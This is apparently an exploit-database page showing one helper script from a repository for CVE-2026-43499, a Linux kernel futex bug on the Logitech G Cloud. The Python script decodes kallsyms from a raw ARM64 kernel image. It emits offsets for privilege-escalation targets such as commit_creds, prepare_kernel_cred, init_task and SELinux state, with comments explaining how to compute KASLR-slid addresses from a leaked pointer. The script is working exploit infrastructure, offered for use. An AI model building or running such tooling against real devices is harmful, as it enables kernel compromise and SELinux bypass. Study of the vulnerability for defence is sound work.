Exploit databaseDownload repository ZIP
GH-deb59086a0a69067da737a2a12bf7bc4
hycqaq/logitech-g-cloud-ghostlock-cve-2026-43499
Sources for CVE-2026-43499
164 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files7
hycqaq/logitech-g-cloud-ghostlock-cve-2026-43499Revision 5259347e9bf7
- ↑..Parent directory
- analyze_pi_state.py
- extract_kallsyms.py
- extract_symbols.py
- find_ghostlock_bug.py
- kgsl_uaf_test.c
- reanalysis.py
- trace_waiter.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
tools/extract_kallsyms.py
Python · 11,392 bytes#!/usr/bin/env python3
# kallsyms extractor for a raw ARM64 Image (4.14, CONFIG_KALLSYMS_BASE_RELATIVE,
# CONFIG_RELOCATABLE/PIE -> link base small, offsets[] hold link addresses).
#
# Layout (linker order, scripts/kallsyms.c output):
# kallsyms_offsets[num_syms] : u32[] (address - kallsyms_relative_base)
# kallsyms_relative_base : u64 (== link VA of _text, small for PIE)
# kallsyms_num_syms : u64
# kallsyms_names : byte-packed, per-symbol: [len u8][token_idx u8 * len]
# kallsyms_markers[(num_syms+255)/256] : u64[] (byte offset into names[] of sym i*256)
# kallsyms_token_table : 256 null-terminated ASCII strings (packed)
# kallsyms_token_index[256] : u16[] (offset into token_table for each token idx)
#
# Strategy (robust, forward-validated):
# 1. Locate kallsyms_token_index by its distinctive shape (strictly increasing,
# tiny steps, starts at 0, last entry in [50,4096]). This is SOLID.
# 2. From it, recover the 256 token strings (the token_table) just before it;
# several 8-aligned-ish starts decode validly -> candidate token-sets.
# 3. Scan the whole image for kallsyms_num_syms (a u64 in [50000,400000] whose
# preceding relative_base is small and whose preceding offsets[0] is ~0).
# 4. For each such num_syms, try every candidate token-set: decode the FIRST
# symbol from kallsyms_names; it must be "_text". Then verify the structure
# flows names -> markers -> token_table -> the KNOWN token_index.
# 5. Extract all target symbol link addresses and emit target.h.
import struct, sys
import numpy as np
IMG = "kernel"
OUT = "target_offsets_4.14.h"
TARGETS = [
"init_task", "init_uts_ns", "empty_zero_page", "kmalloc_caches", "security_hook_heads",
"selinux_enforcing", "selinux_state", "selinux_blob_sizes", "selinux_cred_blob_off",
"selinux_cred_offset", "selinux_ops", "selinux_enabled",
"anon_pipe_buf_ops", "nosteal_pipe_buf_ops", "pipe_read", "pipe_write",
"configfs_read", "configfs_write", "configfs_bin_read", "configfs_bin_write",
"configfs_file_operations", "configfs_bin_file_operations", "configfs_attr_ops", "configfs_dir_ops",
"copy_splice_read", "generic_file_splice_read", "generic_file_splice_write",
"ashmem_fops", "ashmem_misc_fops", "ashmem_ioctl", "ashmem_mmap", "ashmem_open", "ashmem_release",
"noop_llseek", "no_llseek", "default_llseek", "generic_file_llseek",
"generic_file_read_iter", "generic_file_write_iter", "simple_read_from_buffer", "simple_write_to_buffer",
"kernel_read", "kernel_write",
"remove_waiter", "futex_wait_requeue_pi", "do_futex", "futex_requeue",
"rt_mutex_adjust_prio_chain", "__rt_mutex_adjust_prio",
"mm_alloc", "mm_init", "__mm_alloc", "mmdrop",
"copy_from_user", "copy_to_user", "raw_copy_from_user",
"init_cred", "cred_init", "prepare_kernel_cred", "commit_creds",
"netlink_send", "selinux_netlink_recv",
]
def u16(d, o): return struct.unpack_from("<H", d, o)[0]
def u32(d, o): return struct.unpack_from("<I", d, o)[0]
def u64(d, o): return struct.unpack_from("<Q", d, o)[0]
def find_token_index_candidates(a16):
"""Indices i (into a16) where a16[i:i+256] is a valid kallsyms_token_index:
strictly increasing with tiny steps (each step = one token's length)."""
n = len(a16)
if n < 256:
return []
diffs = np.diff(a16.astype(np.int64))
valid = (diffs >= 1) & (diffs <= 64)
brk = np.flatnonzero(~valid)
js = np.arange(len(valid))
if len(brk) == 0:
nb_pos = np.full(len(valid), len(valid) + 1)
else:
nb = np.searchsorted(brk, js)
nb_pos = np.where(nb < len(brk), brk[nb], len(valid) + 1)
window_ok = (nb_pos - js) >= 255
window_ok = window_ok[:n - 255]
first = a16[:n - 255]
cand = np.flatnonzero(window_ok & (first == 0))
return [int(x) for x in cand]
def decode_token_table_before(d, T_byte, maxk=6000):
"""All (start, tokens) such that decoding 256 asciz strings from `start`
ends at/near T_byte, strings printable, total chars >= 150. The real
kallsyms token_table is among these (prefer 8-aligned starts)."""
results = []
for k in range(256, maxk):
start = T_byte - k
if start < 0:
break
pos = start
toks = []
chars = 0
ok = True
for _ in range(256):
end = d.find(0, pos, T_byte + 4) # allow up to 4 bytes of pad
if end < 0:
ok = False
break
s = d[pos:end]
toks.append(s)
chars += len(s)
pos = end + 1
if not ok or pos > T_byte + 4 or pos < T_byte - 4:
continue
if chars < 150:
continue
if not all(32 <= b < 127 for t in toks for b in t):
continue
results.append((start, [t.decode("latin1") for t in toks]))
results.sort(key=lambda r: (r[0] % 8 != 0, r[0]))
return results
def expand(d, names_off, token_index, tokens, skip_first):
"""Decode one symbol name at names_off. Token indices in names are single
bytes (0..255); first char of first token is the symbol TYPE (skipped)."""
length = d[names_off]
p = names_off + 1
out = []
skipped = False
for _ in range(length):
b = d[p]
p += 1
if b >= 256:
out.append("?")
continue
tok = tokens[token_index[b]] if token_index[b] < len(tokens) else "?"
if skip_first and not skipped:
tok = tok[1:] if tok else tok
skipped = True
out.append(tok)
return "".join(out), p
def verify_structure(d, names_start, names_len, N, T):
"""Check names -> markers -> token_table -> token_index flow. Returns the
markers_start if consistent, else None."""
markers_start = names_start + names_len
m = (N + 255) // 256
if u64(d, markers_start) != 0:
return None
pv = -1
for j in range(m):
v = u64(d, markers_start + j * 8)
if v <= pv or v - pv > 0x20000:
return None
pv = v
if pv != names_len:
return None
# token_table follows markers (with padding); token_index must be at T
if not (markers_start + m * 8 <= T <= markers_start + m * 8 + 0x4000):
return None
return markers_start
def main():
data = open(IMG, "rb").read()
n = len(data)
print(f"[*] image size = {n} (0x{n:x})")
a16 = np.frombuffer(data, dtype=np.uint16)
a32 = np.frombuffer(data, dtype=np.uint32)
a64 = np.frombuffer(data, dtype=np.uint64)
# ---- 1. token_index ----
cands = find_token_index_candidates(a16)
print(f"[*] token_index candidates: {len(cands)} -> {[hex(2*i) for i in cands[:6]]}")
# ---- 2. token-sets ----
tt_sets = []
for i in cands:
T_byte = 2 * i
for (tt_start, tokens) in decode_token_table_before(data, T_byte):
ti = [u16(data, T_byte + j * 2) for j in range(256)]
tt_sets.append((T_byte, tt_start, tokens, ti))
print(f"[*] token_table/start sets: {len(tt_sets)}")
# ---- 3. num_syms scan (numpy) ----
mask = (a64 >= 50000) & (a64 <= 400000)
cand_idx = np.flatnonzero(mask)
print(f"[*] num_syms candidates: {len(cand_idx)}")
found = None
for idx in cand_idx:
N = int(a64[idx])
P = int(idx * 8)
rb = int(a64[idx - 1]) if idx >= 1 else 0
if rb > 0x40000000:
continue
os_ = P - 8 - N * 4
if os_ < 0:
continue
if int(a32[os_ // 4]) > 0x4000:
continue
# try each token-set: first decoded symbol must be "_text"
for (T_byte, tt_start, tokens, ti) in tt_sets:
for skip in (True, False):
first, _ = expand(data, P + 8, ti, tokens, skip)
if first == "_text":
names_len_dummy = 0
# full walk to get names_len, then verify
p = P + 8
for _ in range(N):
_, p = expand(data, p, ti, tokens, skip)
names_len = p - (P + 8)
ms = verify_structure(data, P + 8, names_len, N, T_byte)
if ms is not None:
found = dict(P=P, N=N, rb=rb, offsets_start=os_,
names_start=P + 8, tokens=tokens, ti=ti,
tt_start=tt_start, T=T_byte, skip_first=skip,
markers_start=ms, names_len=names_len)
break
if found:
break
if found:
break
if found is None:
print("[-] failed to resolve kallsyms structure")
sys.exit(1)
print(f"[+] num_syms @0x{found['P']:x} = {found['N']}")
print(f"[+] kallsyms_relative_base (link _text) = 0x{found['rb']:x}")
print(f"[+] offsets[] @0x{found['offsets_start']:x} (u32 x{found['N']})")
print(f"[+] names @0x{found['names_start']:x} len=0x{found['names_len']:x}")
print(f"[+] markers @0x{found['markers_start']:x}; token_table @0x{found['tt_start']:x}; token_index @0x{found['T']:x}")
# sanity: first 12 names
p = found["names_start"]
san = []
for _ in range(12):
nm, p = expand(data, p, found["ti"], found["tokens"], found["skip_first"])
san.append(nm)
print("[*] first 12 decoded names:", san)
# ---- 4. full extraction ----
p = found["names_start"]
results = {}
remaining = set(TARGETS)
rb = found["relative_base"] if "relative_base" in found else found["rb"]
os_ = found["offsets_start"]
for i in range(found["N"]):
nm, p = expand(data, p, found["ti"], found["tokens"], found["skip_first"])
if nm in remaining:
link = found["rb"] + u32(data, os_ + i * 4)
results[nm] = link
remaining.discard(nm)
if not remaining:
break
print(f"\n=== TARGET SYMBOLS (link-time VA = KIMAGE_LINK_BASE + stored offset) ===")
for t in TARGETS:
if t in results:
off = results[t] - found["rb"]
print(f" [FOUND] {t:30s} link=0x{results[t]:012x} off=0x{off:08x}")
else:
print(f" [MISSING] {t:30s}")
with open(OUT, "w") as f:
f.write("/* Auto-generated kallsyms offsets for SM6125 4.14.190 (relocatable PIE Image) */\n")
f.write("/* Build: CONFIG_KALLSYMS_BASE_RELATIVE, CONFIG_RELOCATABLE=y (link base small) */\n")
f.write("/*\n")
f.write(" * Stored value = LINK-TIME virtual address (kallsyms_relative_base + u32 offset).\n")
f.write(" * At runtime the kernel is loaded at a randomized base; compute the slide as:\n")
f.write(" * slide = leaked_kernel_ptr - LINK_ADDR(leaked_sym)\n")
f.write(" * then: runtime_addr(target) = LINK_ADDR(target) + slide\n")
f.write(" */\n\n")
f.write(f"#define KIMAGE_LINK_BASE 0x{found['rb']:x}ULL\n")
f.write(f"#define NUM_SYMS {found['N']}\n\n")
for t in TARGETS:
if t in results:
f.write(f"#define {t.upper()}_OFF 0x{results[t]:012x}ULL\n")
f.write("\n/* runtime_addr = LINK_ADDR(target) + slide */\n")
print(f"\n[+] wrote {OUT}")
if __name__ == "__main__":
main()